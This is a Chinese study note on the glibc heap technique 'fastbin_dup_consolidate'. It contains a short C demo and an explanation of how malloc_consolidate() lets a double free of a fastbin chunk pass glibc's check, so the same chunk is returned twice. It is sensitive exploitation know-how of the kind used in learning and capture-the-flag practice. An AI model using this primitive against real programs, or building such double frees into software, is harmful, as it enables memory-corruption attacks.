源码:
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}
环境:
ubuntu16.04
libc 2.23
编译:
gcc -g fastbin_dup_consolidate.c -o fastbin_dup_consolidate
条件:
free(fast_binA)的是fastbin_chunk;
malloc(largebin_chunk)的是largebin_chunk;
支持:
Libc各版本都行;
原理:
malloc(large_bin) 时由于是 large_bin chunk ,会调用 malloc_consolidate(),这个函数会遍历所有的 fastbin 把里面的 chunk 该合并合并,该清楚使用就标志清楚使用标志,然后全部插入 unsorted bin 中。
利用- double free:
malloc(largebin_chunk)后再次free(fast_binA)的时候,Fastbin对double free的检查机制是仅仅检查fastbin的头chunk是否与当前要释放的这个相同size的chunk地址一样。而我们的 chunk 早到 unsorted bin 中去了,所以为0,是不同的,不同就能再次执行free(fast_binA)。构造出 fastbin 和 unsorted bin 中都有同一个 chunk(fast_binA),也就是我们可以把它 malloc(fast_binA) 出来两次
总结:
利用malloc(largebin_chunk)把free(fast_binA)移动到unsorted bin中;
再次free(fast_binA),即double free了fast_binA;